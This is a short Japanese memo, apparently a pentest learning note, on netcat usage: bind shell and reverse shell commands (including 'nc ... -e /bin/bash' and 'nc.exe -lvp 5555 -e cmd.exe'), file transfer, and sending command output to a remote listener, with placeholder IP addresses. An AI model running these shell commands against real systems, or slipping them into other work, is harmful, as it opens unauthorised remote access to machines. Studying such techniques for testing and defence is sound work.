# ncを使ったバインドシェル他

# バインドシェル

バインドシェルは対象のportが空いてないと使えないことが難しいところ...

# ホスト

> nc.exe -lvp 5555 -e cmd.exe
1

-l: 待ち受け -v: vervose -p: port

img

# クライアント(対象)

$ nc xxx.xxx.xxx.xxx 5555
1

img

# リバースシェル

# ホスト

$ nc -lvp 5555
1

img

# クライアント(対象)

$ nc xxx.xxx.xx.xx 5555 -e /bin/bash
1

img

# ファイル転送

# 送る側

ポートを開いて受付をまつ

nc -lvp 4444 < hoge.txt
1

# 受け取る側

nc xxx.xxx.xxx.xxx 4444 > out.txt
1

# コマンドロギング

# ログ受け取り側

nc -lp 9999 >> log.txt
1

# 送る側(コマンドの実行結果)

date | nc -q 1 xxx.xxx.xxx.xxx 9999 
1